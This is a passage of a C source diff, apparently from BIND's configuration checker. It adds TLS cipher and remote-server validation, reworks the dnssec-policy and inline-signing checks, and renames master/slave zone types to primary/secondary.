+	if (tresult == ISC_R_SUCCESS) {
+		const char *ciphers = cfg_obj_asstring(tls_ciphers);
+		if (!isc_tls_cipherlist_valid(ciphers)) {
+			cfg_obj_log(tls_ciphers, logctx, ISC_LOG_ERROR,
+				    "'ciphers' in the 'tls' clause '%s' is "
+				    "not a "
+				    "valid cipher list string",
+				    name);
+			result = ISC_R_FAILURE;
+		}
+	}
+
+	return (result);
+}
+
+static isc_result_t
+check_tls_definitions(const cfg_obj_t *config, isc_log_t *logctx,
+		      isc_mem_t *mctx) {
+	isc_result_t result, tresult;
+	const cfg_obj_t *obj = NULL;
+	const cfg_listelt_t *elt = NULL;
+	isc_symtab_t *symtab = NULL;
+
+	result = cfg_map_get(config, "tls", &obj);
+	if (result != ISC_R_SUCCESS) {
+		result = ISC_R_SUCCESS;
+		return (result);
+	}
+
+	result = isc_symtab_create(mctx, 100, NULL, NULL, false, &symtab);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	for (elt = cfg_list_first(obj); elt != NULL; elt = cfg_list_next(elt)) {
+		const char *name;
+		obj = cfg_listelt_value(elt);
+		name = cfg_obj_asstring(cfg_map_getname(obj));
+		tresult = check_tls_defintion(obj, name, logctx, symtab);
+		if (result == ISC_R_SUCCESS) {
+			result = tresult;
+		}
+	}
+
+	isc_symtab_destroy(&symtab);
+
+	return (result);
+}
+
 static isc_result_t
-get_primaries(const cfg_obj_t *cctx, const char *list, const char *name,
-	      const cfg_obj_t **ret) {
+get_remotes(const cfg_obj_t *cctx, const char *list, const char *name,
+	    const cfg_obj_t **ret) {
 	isc_result_t result;
 	const cfg_obj_t *obj = NULL;
 	const cfg_listelt_t *elt = NULL;
@@ -1958,29 +2289,34 @@ get_primaries(const cfg_obj_t *cctx, const char *list, const char *name,
 }
 
 static isc_result_t
-get_primaries_def(const cfg_obj_t *cctx, const char *name,
-		  const cfg_obj_t **ret) {
-	isc_result_t result;
+get_remoteservers_def(const char *list, const char *name, const cfg_obj_t *cctx,
+		      const cfg_obj_t **ret) {
+	isc_result_t result = ISC_R_NOTFOUND;
 
-	result = get_primaries(cctx, "primaries", name, ret);
-	if (result != ISC_R_SUCCESS) {
-		result = get_primaries(cctx, "masters", name, ret);
+	if (strcmp(list, "primaries") == 0) {
+		result = get_remotes(cctx, "primaries", name, ret);
+		if (result != ISC_R_SUCCESS) {
+			result = get_remotes(cctx, "masters", name, ret);
+		}
+	} else if (strcmp(list, "parental-agents") == 0) {
+		result = get_remotes(cctx, "parental-agents", name, ret);
 	}
 	return (result);
 }
 
 static isc_result_t
-validate_primaries(const cfg_obj_t *obj, const cfg_obj_t *config,
-		   uint32_t *countp, isc_log_t *logctx, isc_mem_t *mctx) {
+validate_remotes(const char *list, const cfg_obj_t *obj,
+		 const cfg_obj_t *config, uint32_t *countp, isc_log_t *logctx,
+		 isc_mem_t *mctx) {
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_result_t tresult;
 	uint32_t count = 0;
 	isc_symtab_t *symtab = NULL;
 	isc_symvalue_t symvalue;
 	const cfg_listelt_t *element;
-	const cfg_listelt_t **stack = NULL;
+	cfg_listelt_t **stack = NULL;
 	uint32_t stackcount = 0, pushed = 0;
-	const cfg_obj_t *list;
+	const cfg_obj_t *listobj;
 
 	REQUIRE(countp != NULL);
 	result = isc_symtab_create(mctx, 100, NULL, NULL, false, &symtab);
@@ -1990,20 +2326,68 @@ validate_primaries(const cfg_obj_t *obj, const cfg_obj_t *config,
 	}
 
 newlist:
-	list = cfg_tuple_get(obj, "addresses");
-	element = cfg_list_first(list);
+	listobj = cfg_tuple_get(obj, "addresses");
+	element = cfg_list_first(listobj);
 resume:
 	for (; element != NULL; element = cfg_list_next(element)) {
 		const char *listname;
 		const cfg_obj_t *addr;
 		const cfg_obj_t *key;
+		const cfg_obj_t *tls;
 
 		addr = cfg_tuple_get(cfg_listelt_value(element),
-				     "primarieselement");
+				     "remoteselement");
 		key = cfg_tuple_get(cfg_listelt_value(element), "key");
+		tls = cfg_tuple_get(cfg_listelt_value(element), "tls");
 
 		if (cfg_obj_issockaddr(addr)) {
 			count++;
+			if (cfg_obj_isstring(key)) {
+				const char *str = cfg_obj_asstring(key);
+				dns_fixedname_t fname;
+				dns_name_t *nm = dns_fixedname_initname(&fname);
+				tresult = dns_name_fromstring(
+					nm, str, dns_rootname, 0, NULL);
+				if (tresult != ISC_R_SUCCESS) {
+					cfg_obj_log(key, logctx, ISC_LOG_ERROR,
+						    "'%s' is not a valid name",
+						    str);
+					if (result == ISC_R_SUCCESS) {
+						result = tresult;
+					}
+				}
+			}
+			if (cfg_obj_isstring(tls)) {
+				const char *str = cfg_obj_asstring(tls);
+				dns_fixedname_t fname;
+				dns_name_t *nm = dns_fixedname_initname(&fname);
+				tresult = dns_name_fromstring(
+					nm, str, dns_rootname, 0, NULL);
+				if (tresult != ISC_R_SUCCESS) {
+					cfg_obj_log(tls, logctx, ISC_LOG_ERROR,
+						    "'%s' is not a valid name",
+						    str);
+					if (result == ISC_R_SUCCESS) {
+						result = tresult;
+					}
+				}
+
+				if (strcasecmp(str, "ephemeral") != 0) {
+					const cfg_obj_t *tlsmap = NULL;
+
+					tlsmap = find_maplist(config, "tls",
+							      str);
+					if (tlsmap == NULL) {
+						cfg_obj_log(
+							tls, logctx,
+							ISC_LOG_ERROR,
+							"tls '%s' is not "
+							"defined",
+							cfg_obj_asstring(tls));
+						result = ISC_R_FAILURE;
+					}
+				}
+			}
 			continue;
 		}
 		if (!cfg_obj_isvoid(key)) {
@@ -2014,6 +2398,14 @@ validate_primaries(const cfg_obj_t *obj, const cfg_obj_t *config,
 				result = ISC_R_FAILURE;
 			}
 		}
+		if (!cfg_obj_isvoid(tls)) {
+			cfg_obj_log(key, logctx, ISC_LOG_ERROR,
+				    "unexpected token '%s'",
+				    cfg_obj_asstring(tls));
+			if (result == ISC_R_SUCCESS) {
+				result = ISC_R_FAILURE;
+			}
+		}
 		listname = cfg_obj_asstring(addr);
 		symvalue.as_cpointer = addr;
 		tresult = isc_symtab_define(symtab, listname, 1, symvalue,
@@ -2021,36 +2413,24 @@ validate_primaries(const cfg_obj_t *obj, const cfg_obj_t *config,
 		if (tresult == ISC_R_EXISTS) {
 			continue;
 		}
-		tresult = get_primaries_def(config, listname, &obj);
+		tresult = get_remoteservers_def(list, listname, config, &obj);
 		if (tresult != ISC_R_SUCCESS) {
 			if (result == ISC_R_SUCCESS) {
 				result = tresult;
 			}
 			cfg_obj_log(addr, logctx, ISC_LOG_ERROR,
-				    "unable to find primaries list '%s'",
+				    "unable to find %s list '%s'", list,
 				    listname);
 			continue;
 		}
 		/* Grow stack? */
 		if (stackcount == pushed) {
-			void *newstack;
-			uint32_t newlen = stackcount + 16;
-			size_t newsize, oldsize;
-
-			newsize = newlen * sizeof(*stack);
-			oldsize = stackcount * sizeof(*stack);
-			newstack = isc_mem_get(mctx, newsize);
-			if (stackcount != 0) {
-				void *ptr;
-
-				DE_CONST(stack, ptr);
-				memmove(newstack, stack, oldsize);
-				isc_mem_put(mctx, ptr, oldsize);
-			}
-			stack = newstack;
-			stackcount = newlen;
+			stack = isc_mem_creget(mctx, stack, stackcount,
+					       stackcount + 16,
+					       sizeof(stack[0]));
+			stackcount += 16;
 		}
-		stack[pushed++] = cfg_list_next(element);
+		stack[pushed++] = UNCONST(cfg_list_next(element));
 		goto newlist;
 	}
 	if (pushed != 0) {
@@ -2058,10 +2438,7 @@ validate_primaries(const cfg_obj_t *obj, const cfg_obj_t *config,
 		goto resume;
 	}
 	if (stack != NULL) {
-		void *ptr;
-
-		DE_CONST(stack, ptr);
-		isc_mem_put(mctx, ptr, stackcount * sizeof(*stack));
+		isc_mem_cput(mctx, stack, stackcount, sizeof(*stack));
 	}
 	isc_symtab_destroy(&symtab);
 	*countp = count;
@@ -2082,7 +2459,8 @@ check_update_policy(const cfg_obj_t *policy, isc_log_t *logctx) {
 
 	/* Check for "update-policy local;" */
 	if (cfg_obj_isstring(policy) &&
-	    strcmp("local", cfg_obj_asstring(policy)) == 0) {
+	    strcmp("local", cfg_obj_asstring(policy)) == 0)
+	{
 		return (ISC_R_SUCCESS);
 	}
 
@@ -2108,7 +2486,7 @@ check_update_policy(const cfg_obj_t *policy, isc_log_t *logctx) {
 		}
 
 		str = cfg_obj_asstring(identity);
-		tresult = dns_name_fromstring(id, str, 1, NULL);
+		tresult = dns_name_fromstring(id, str, dns_rootname, 1, NULL);
 		if (tresult != ISC_R_SUCCESS) {
 			cfg_obj_log(identity, logctx, ISC_LOG_ERROR,
 				    "'%s' is not a valid name", str);
@@ -2119,13 +2497,15 @@ check_update_policy(const cfg_obj_t *policy, isc_log_t *logctx) {
 		 * There is no name field for subzone and dname is void
 		 */
 		if (mtype == dns_ssumatchtype_subdomain &&
-		    cfg_obj_isvoid(dname)) {
+		    cfg_obj_isvoid(dname))
+		{
 			str = "."; /* Use "." as a replacement. */
 		} else {
 			str = cfg_obj_asstring(dname);
 		}
 		if (tresult == ISC_R_SUCCESS) {
-			tresult = dns_name_fromstring(name, str, 0, NULL);
+			tresult = dns_name_fromstring(name, str, dns_rootname,
+						      0, NULL);
 			if (tresult != ISC_R_SUCCESS) {
 				cfg_obj_log(dname, logctx, ISC_LOG_ERROR,
 					    "'%s' is not a valid name", str);
@@ -2167,7 +2547,8 @@ check_update_policy(const cfg_obj_t *policy, isc_log_t *logctx) {
 		case dns_ssumatchtype_tcpself:
 		case dns_ssumatchtype_6to4self:
 			if (tresult == ISC_R_SUCCESS &&
-			    !dns_name_equal(dns_rootname, name)) {
+			    !dns_name_equal(dns_rootname, name))
+			{
 				cfg_obj_log(identity, logctx, ISC_LOG_ERROR,
 					    "name field not set to "
 					    "placeholder value '.'");
@@ -2177,12 +2558,14 @@ check_update_policy(const cfg_obj_t *policy, isc_log_t *logctx) {
 		case dns_ssumatchtype_name:
 		case dns_ssumatchtype_subdomain: /* also zonesub */
 		case dns_ssumatchtype_subdomainms:
+		case dns_ssumatchtype_subdomainselfmsrhs:
 		case dns_ssumatchtype_subdomainkrb5:
+		case dns_ssumatchtype_subdomainselfkrb5rhs:
 		case dns_ssumatchtype_wildcard:
 		case dns_ssumatchtype_external:
 		case dns_ssumatchtype_local:
 			if (tresult == ISC_R_SUCCESS) {
-				DE_CONST(str, r.base);
+				r.base = UNCONST(str);
 				r.length = strlen(str);
 				tresult = dns_rdatatype_fromtext(&type, &r);
 			}
@@ -2196,8 +2579,7 @@ check_update_policy(const cfg_obj_t *policy, isc_log_t *logctx) {
 			}
 			break;
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 
 		for (element2 = cfg_list_first(typelist); element2 != NULL;
@@ -2207,7 +2589,7 @@ check_update_policy(const cfg_obj_t *policy, isc_log_t *logctx) {
 			const char *bracket;
 
 			typeobj = cfg_listelt_value(element2);
-			DE_CONST(cfg_obj_asstring(typeobj), r.base);
+			r.base = UNCONST(cfg_obj_asstring(typeobj));
 
 			bracket = strchr(r.base, '(' /*)*/);
 			if (bracket != NULL) {
@@ -2217,7 +2599,8 @@ check_update_policy(const cfg_obj_t *policy, isc_log_t *logctx) {
 				r.length = bracket - r.base;
 				max = strtoul(bracket + 1, &end, 10);
 				if (max > 0xffff || end[0] != /*(*/ ')' ||
-				    end[1] != 0) {
+				    end[1] != 0)
+				{
 					cfg_obj_log(typeobj, logctx,
 						    ISC_LOG_ERROR,
 						    "'%s' is not a valid count",
@@ -2388,7 +2771,7 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 	const char *target = NULL;
 	unsigned int ztype;
 	const cfg_obj_t *zoptions, *goptions = NULL;
-	const cfg_obj_t *obj = NULL;
+	const cfg_obj_t *obj = NULL, *kasp = NULL;
 	const cfg_obj_t *inviewobj = NULL;
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_result_t tresult;
@@ -2402,9 +2785,9 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 	bool ula = false;
 	const cfg_listelt_t *element;
 	bool dlz;
-	dns_masterformat_t masterformat;
 	bool ddns = false;
 	bool has_dnssecpolicy = false;
+	bool kasp_inlinesigning = false;
 	const void *clauses = NULL;
 	const char *option = NULL;
 	const char *kaspname = NULL;
@@ -2415,12 +2798,15 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 		"allow-update",
 		"allow-update-forwarding",
 	};
-
 	static optionstable dialups[] = {
-		{ "notify", CFG_ZONE_MASTER | CFG_ZONE_SLAVE },
-		{ "notify-passive", CFG_ZONE_SLAVE },
-		{ "passive", CFG_ZONE_SLAVE | CFG_ZONE_STUB },
-		{ "refresh", CFG_ZONE_SLAVE | CFG_ZONE_STUB },
+		{ "notify", CFG_ZONE_PRIMARY | CFG_ZONE_SECONDARY },
+		{ "notify-passive", CFG_ZONE_SECONDARY },
+		{ "passive", CFG_ZONE_SECONDARY | CFG_ZONE_STUB },
+		{ "refresh", CFG_ZONE_SECONDARY | CFG_ZONE_STUB },
+	};
+	static const char *sources[] = {
+		"transfer-source",  "transfer-source-v6", "notify-source",
+		"notify-source-v6", "parental-source",	  "parental-source-v6",
 	};
 
 	znamestr = cfg_obj_asstring(cfg_tuple_get(zconfig, "name"));
@@ -2447,12 +2833,13 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 
 		typestr = cfg_obj_asstring(obj);
 		if (strcasecmp(typestr, "master") == 0 ||
-		    strcasecmp(typestr, "primary") == 0) {
-			ztype = CFG_ZONE_MASTER;
+		    strcasecmp(typestr, "primary") == 0)
+		{
+			ztype = CFG_ZONE_PRIMARY;
 		} else if (strcasecmp(typestr, "slave") == 0 ||
 			   strcasecmp(typestr, "secondary") == 0)
 		{
-			ztype = CFG_ZONE_SLAVE;
+			ztype = CFG_ZONE_SECONDARY;
 		} else if (strcasecmp(typestr, "mirror") == 0) {
 			ztype = CFG_ZONE_MIRROR;
 		} else if (strcasecmp(typestr, "stub") == 0) {
@@ -2463,8 +2850,6 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 			ztype = CFG_ZONE_FORWARD;
 		} else if (strcasecmp(typestr, "hint") == 0) {
 			ztype = CFG_ZONE_HINT;
-		} else if (strcasecmp(typestr, "delegation-only") == 0) {
-			ztype = CFG_ZONE_DELEGATION;
 		} else if (strcasecmp(typestr, "redirect") == 0) {
 			ztype = CFG_ZONE_REDIRECT;
 		} else {
@@ -2485,7 +2870,7 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 	if (cfg_obj_isstring(obj)) {
 		isc_textregion_t r;
 
-		DE_CONST(cfg_obj_asstring(obj), r.base);
+		r.base = UNCONST(cfg_obj_asstring(obj));
 		r.length = strlen(r.base);
 		result = dns_rdataclass_fromtext(&zclass, &r);
 		if (result != ISC_R_SUCCESS) {
@@ -2544,8 +2929,8 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 		} else if (dns_name_isula(zname)) {
 			ula = true;
 		}
-		tmp += strlen(tmp);
 		len -= strlen(tmp);
+		tmp += strlen(tmp);
 		(void)snprintf(tmp, len, "%u/%s", zclass,
 			       (ztype == CFG_ZONE_INVIEW) ? target
 			       : (viewname != NULL)	  ? viewname
@@ -2570,8 +2955,8 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 		case CFG_ZONE_DELEGATION:
 			break;
 
-		case CFG_ZONE_MASTER:
-		case CFG_ZONE_SLAVE:
+		case CFG_ZONE_PRIMARY:
+		case CFG_ZONE_SECONDARY:
 		case CFG_ZONE_MIRROR:
 		case CFG_ZONE_HINT:
 		case CFG_ZONE_STUB:
@@ -2587,15 +2972,15 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 					isc_mem_free(mctx, tmp);
 				}
 				if (result == ISC_R_SUCCESS &&
-				    tresult != ISC_R_SUCCESS) {
+				    tresult != ISC_R_SUCCESS)
+				{
 					result = tresult;
 				}
 			}
 			break;
 
 		default:
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	}
 
@@ -2636,16 +3021,25 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 	 */
 	obj = NULL;
 	(void)cfg_map_get(zoptions, "dnssec-policy", &obj);
+	if (obj == NULL && voptions != NULL) {
+		(void)cfg_map_get(voptions, "dnssec-policy", &obj);
+	}
+	if (obj == NULL && goptions != NULL) {
+		(void)cfg_map_get(goptions, "dnssec-policy", &obj);
+	}
 	if (obj != NULL) {
 		const cfg_obj_t *kasps = NULL;
 
 		kaspname = cfg_obj_asstring(obj);
 		if (strcmp(kaspname, "default") == 0) {
 			has_dnssecpolicy = true;
+			kasp_inlinesigning = true;
 		} else if (strcmp(kaspname, "insecure") == 0) {
 			has_dnssecpolicy = true;
+			kasp_inlinesigning = true;
 		} else if (strcmp(kaspname, "none") == 0) {
 			has_dnssecpolicy = false;
+			kasp_inlinesigning = false;
 		} else {
 			(void)cfg_map_get(config, "dnssec-policy", &kasps);
 			for (element = cfg_list_first(kasps); element != NULL;
@@ -2654,8 +3048,26 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 				const cfg_obj_t *kobj = cfg_tuple_get(
 					cfg_listelt_value(element), "name");
 				if (strcmp(kaspname, cfg_obj_asstring(kobj)) ==
-				    0) {
+				    0)
+				{
+					const cfg_obj_t *inlinesigning = NULL;
+					const cfg_obj_t *kopt = cfg_tuple_get(
+						cfg_listelt_value(element),
+						"options");
+					if (cfg_map_get(kopt, "inline-signing",
+							&inlinesigning) ==
+					    ISC_R_SUCCESS)
+					{
+						kasp_inlinesigning =
+							cfg_obj_asboolean(
+								inlinesigning);
+					} else {
+						/* By default true */
+						kasp_inlinesigning = true;
+					}
+
 					has_dnssecpolicy = true;
+					break;
 				}
 			}
 
@@ -2670,6 +3082,33 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 				}
 			}
 		}
+		if (has_dnssecpolicy) {
+			kasp = obj;
+		}
+	}
+
+	/*
+	 * Reject zones with both dnssec-policy and max-zone-ttl
+	 * */
+	if (has_dnssecpolicy) {
+		obj = NULL;
+		(void)cfg_map_get(zoptions, "max-zone-ttl", &obj);
+		if (obj == NULL && voptions != NULL) {
+			(void)cfg_map_get(voptions, "max-zone-ttl", &obj);
+		}
+		if (obj == NULL && goptions != NULL) {
+			(void)cfg_map_get(goptions, "max-zone-ttl", &obj);
+		}
+		if (obj != NULL) {
+			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+				    "zone '%s': option 'max-zone-ttl' "
+				    "cannot be used together with "
+				    "'dnssec-policy'",
+				    znamestr);
+			if (result == ISC_R_SUCCESS) {
+				result = ISC_R_FAILURE;
+			}
+		}
 	}
 
 	/*
@@ -2693,7 +3132,7 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 	/*
 	 * Check that ACLs expand correctly.
 	 */
-	for (i = 0; i < (sizeof(acls) / sizeof(acls[0])); i++) {
+	for (i = 0; i < ARRAY_SIZE(acls); i++) {
 		tresult = checkacl(acls[i], actx, zconfig, voptions, config,
 				   logctx, mctx);
 		if (tresult != ISC_R_SUCCESS) {
@@ -2712,10 +3151,10 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 	}
 
 	/*
-	 * Master, slave, and mirror zones may have an "also-notify" field, but
-	 * shouldn't if notify is disabled.
+	 * Primary, secondary, and mirror zones may have an "also-notify"
+	 * field, but shouldn't if notify is disabled.
 	 */
-	if (ztype == CFG_ZONE_MASTER || ztype == CFG_ZONE_SLAVE ||
+	if (ztype == CFG_ZONE_PRIMARY || ztype == CFG_ZONE_SECONDARY ||
 	    ztype == CFG_ZONE_MIRROR)
 	{
 		bool donotify = true;
@@ -2733,7 +3172,7 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 				donotify = cfg_obj_asboolean(obj);
 			} else {
 				const char *str = cfg_obj_asstring(obj);
-				if (ztype != CFG_ZONE_MASTER &&
+				if (ztype != CFG_ZONE_PRIMARY &&
 				    (strcasecmp(str, "master-only") == 0 ||
 				     strcasecmp(str, "primary-only") == 0))
 				{
@@ -2758,8 +3197,8 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 		}
 		if (tresult == ISC_R_SUCCESS && donotify) {
 			uint32_t count;
-			tresult = validate_primaries(obj, config, &count,
-						     logctx, mctx);
+			tresult = validate_remotes("primaries", obj, config,
+						   &count, logctx, mctx);
 			if (tresult != ISC_R_SUCCESS && result == ISC_R_SUCCESS)
 			{
 				result = tresult;
@@ -2768,11 +3207,12 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 	}
 
 	/*
-	 * Slave, mirror, and stub zones must have a "primaries" field, with one
-	 * exception: when mirroring the root zone, a default, built-in master
-	 * server list is used in the absence of one explicitly specified.
+	 * Secondary, mirror, and stub zones must have a "primaries" field,
+	 * with one exception: when mirroring the root zone, a default,
+	 * built-in primary server list is used in the absence of one
+	 * explicitly specified.
 	 */
-	if (ztype == CFG_ZONE_SLAVE || ztype == CFG_ZONE_STUB ||
+	if (ztype == CFG_ZONE_SECONDARY || ztype == CFG_ZONE_STUB ||
 	    (ztype == CFG_ZONE_MIRROR && zname != NULL &&
 	     !dns_name_equal(zname, dns_rootname)))
 	{
@@ -2800,8 +3240,8 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 			result = ISC_R_FAILURE;
 		} else {
 			uint32_t count;
-			tresult = validate_primaries(obj, config, &count,
-						     logctx, mctx);
+			tresult = validate_remotes("primaries", obj, config,
+						   &count, logctx, mctx);
 			if (tresult != ISC_R_SUCCESS && result == ISC_R_SUCCESS)
 			{
 				result = tresult;
@@ -2816,6 +3256,60 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 		}
 	}
 
+	/*
+	 * Warn if *-source and *-source-v6 options specify a port,
+	 * and fail if they specify the default listener port.
+	 */
+	for (i = 0; i < ARRAY_SIZE(sources); i++) {
+		obj = NULL;
+		(void)cfg_map_get(zoptions, sources[i], &obj);
+		if (obj == NULL && goptions != NULL) {
+			(void)cfg_map_get(goptions, sources[i], &obj);
+		}
+		if (obj != NULL) {
+			in_port_t port =
+				isc_sockaddr_getport(cfg_obj_assockaddr(obj));
+			if (port == dnsport) {
+				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
+					    "'%s' cannot specify the "
+					    "DNS listener port (%d)",
+					    sources[i], port);
+				result = ISC_R_FAILURE;
+			} else if (port != 0) {
+				cfg_obj_log(obj, logctx, ISC_LOG_WARNING,
+					    "'%s': specifying a port is "
+					    "not recommended",
+					    sources[i]);
+			}
+		}
+	}
+
+	/*
+	 * Primary and secondary zones that have a "parental-agents" field,
+	 * must have a corresponding "parental-agents" clause.
+	 */
+	if (ztype == CFG_ZONE_PRIMARY || ztype == CFG_ZONE_SECONDARY) {
+		obj = NULL;
+		(void)cfg_map_get(zoptions, "parental-agents", &obj);
+		if (obj != NULL) {
+			uint32_t count;
+			tresult = validate_remotes("parental-agents", obj,
+						   config, &count, logctx,
+						   mctx);
+			if (tresult != ISC_R_SUCCESS && result == ISC_R_SUCCESS)
+			{
+				result = tresult;
+			}
+			if (tresult == ISC_R_SUCCESS && count == 0) {
+				cfg_obj_log(zoptions, logctx, ISC_LOG_ERROR,
+					    "zone '%s': "
+					    "empty 'parental-agents' entry",
+					    znamestr);
+				result = ISC_R_FAILURE;
+			}
+		}
+	}
+
 	/*
 	 * Configuring a mirror zone and disabling recursion at the same time
 	 * contradicts the purpose of the former.
@@ -2831,13 +3325,12 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 	}
 
 	/*
-	 * Master zones can't have both "allow-update" and "update-policy".
+	 * Primary zones can't have both "allow-update" and "update-policy".
 	 */
-	if (ztype == CFG_ZONE_MASTER || ztype == CFG_ZONE_SLAVE) {
+	if (ztype == CFG_ZONE_PRIMARY || ztype == CFG_ZONE_SECONDARY) {
 		bool signing = false;
 		isc_result_t res1, res2, res3;
 		const cfg_obj_t *au = NULL;
-		const char *arg;
 
 		obj = NULL;
 		res1 = cfg_map_get(zoptions, "allow-update", &au);
@@ -2857,7 +3350,7 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 		}
 
 		/*
-		 * To determine whether auto-dnssec is allowed,
+		 * To determine whether dnssec-policy is allowed,
 		 * we should also check for allow-update at the
 		 * view and options levels.
 		 */
@@ -2891,43 +3384,24 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 		res1 = cfg_map_get(zoptions, "inline-signing", &obj);
 		if (res1 == ISC_R_SUCCESS) {
 			signing = cfg_obj_asboolean(obj);
-			if (has_dnssecpolicy && !ddns && !signing) {
-				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-					    "'inline-signing;' cannot be set "
-					    "to 'no' "
-					    "if dnssec-policy is also set on a "
-					    "non-dynamic DNS zone");
-				result = ISC_R_FAILURE;
-			}
-		}
-
-		obj = NULL;
-		arg = "off";
-		res3 = cfg_map_get(zoptions, "auto-dnssec", &obj);
-		if (res3 == ISC_R_SUCCESS) {
-			arg = cfg_obj_asstring(obj);
+		} else if (has_dnssecpolicy) {
+			signing = kasp_inlinesigning;
 		}
-		if (strcasecmp(arg, "off") != 0) {
-			if (!ddns && !signing && strcasecmp(arg, "off") != 0) {
-				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-					    "'auto-dnssec %s;' requires%s "
-					    "inline-signing to be configured "
-					    "for the zone",
-					    arg,
-					    (ztype == CFG_ZONE_MASTER) ? " dyna"
-									 "mic "
-									 "DNS "
-									 "or"
-								       : "");
-				result = ISC_R_FAILURE;
-			}
 
-			if (strcasecmp(arg, "off") != 0 && has_dnssecpolicy) {
-				cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-					    "'auto-dnssec %s;' cannot be "
-					    "configured if dnssec-policy is "
-					    "also set",
-					    arg);
+		if (has_dnssecpolicy) {
+			if (!ddns && !signing) {
+				cfg_obj_log(kasp, logctx, ISC_LOG_ERROR,
+					    "'inline-signing yes;' must also "
+					    "be configured explicitly for "
+					    "zones using dnssec-policy%s. See "
+					    "https://kb.isc.org/docs/"
+					    "dnssec-policy-requires-dynamic-"
+					    "dns-or-inline-signing",
+					    (ztype == CFG_ZONE_PRIMARY)
+						    ? " without a configured "
+						      "'allow-update' or "
+						      "'update-policy'"
+						    : "");
 				result = ISC_R_FAILURE;
 			}
 		}
@@ -2941,67 +3415,19 @@ check_zoneconf(const cfg_obj_t *zconfig, const cfg_obj_t *voptions,
 					    "sig-signing-type: %u out of "
 					    "range [%u..%u]",
 					    type, 0xff00U, 0xffffU);
-			}
-			result = ISC_R_FAILURE;
-		}
-
-		obj = NULL;
-		res1 = cfg_map_get(zoptions, "dnssec-dnskey-kskonly", &obj);
-		if (res1 == ISC_R_SUCCESS && ztype == CFG_ZONE_SLAVE &&
-		    !signing) {
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "dnssec-dnskey-kskonly: requires "
-				    "inline-signing when used in slave zone");
-			result = ISC_R_FAILURE;
-		}
-		if (res1 == ISC_R_SUCCESS && has_dnssecpolicy) {
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "dnssec-dnskey-kskonly: cannot be "
-				    "configured if dnssec-policy is also set");
-			result = ISC_R_FAILURE;
-		}
-
-		obj = NULL;
-		res1 = cfg_map_get(zoptions, "dnssec-secure-to-insecure", &obj);
-		if (res1 == ISC_R_SUCCESS && has_dnssecpolicy) {
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "dnssec-secure-to-insecure: cannot be "
-				    "configured if dnssec-policy is also set");
-			result = ISC_R_FAILURE;
-		}
-
-		obj = NULL;
-		res1 = cfg_map_get(zoptions, "dnssec-loadkeys-interval", &obj);
-		if (res1 == ISC_R_SUCCESS && ztype == CFG_ZONE_SLAVE &&
-		    !signing) {
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "dnssec-loadkeys-interval: requires "
-				    "inline-signing when used in slave zone");
-			result = ISC_R_FAILURE;
-		}
-
-		obj = NULL;
-		res1 = cfg_map_get(zoptions, "update-check-ksk", &obj);
-		if (res1 == ISC_R_SUCCESS && ztype == CFG_ZONE_SLAVE &&
-		    !signing) {
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "update-check-ksk: requires "
-				    "inline-signing when used in slave zone");
-			result = ISC_R_FAILURE;
-		}
-		if (res1 == ISC_R_SUCCESS && has_dnssecpolicy) {
-			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "update-check-ksk: cannot be configured "
-				    "if dnssec-policy is also set");
-			result = ISC_R_FAILURE;
+				result = ISC_R_FAILURE;
+			}
 		}
 
 		obj = NULL;
-		res1 = cfg_map_get(zoptions, "dnssec-update-mode", &obj);
-		if (res1 == ISC_R_SUCCESS && has_dnssecpolicy) {
+		res1 = cfg_map_get(zoptions, "dnssec-loadkeys-interval", &obj);
+		if (res1 == ISC_R_SUCCESS && ztype == CFG_ZONE_SECONDARY &&
+		    !signing)
+		{
 			cfg_obj_log(obj, logctx, ISC_LOG_ERROR,
-				    "dnssec-update-mode: cannot be configured "
-				    "if dnssec-policy is also set");
+				    "dnssec-loadkeys-interval: requires "
+				    "inline-signing when used in secondary "
+				    "zone");
 			result = ISC_R_FAILURE;
 		}
 	}
